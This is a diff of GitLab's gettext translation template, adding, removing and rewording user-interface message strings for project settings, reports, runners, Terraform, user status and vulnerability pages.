msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
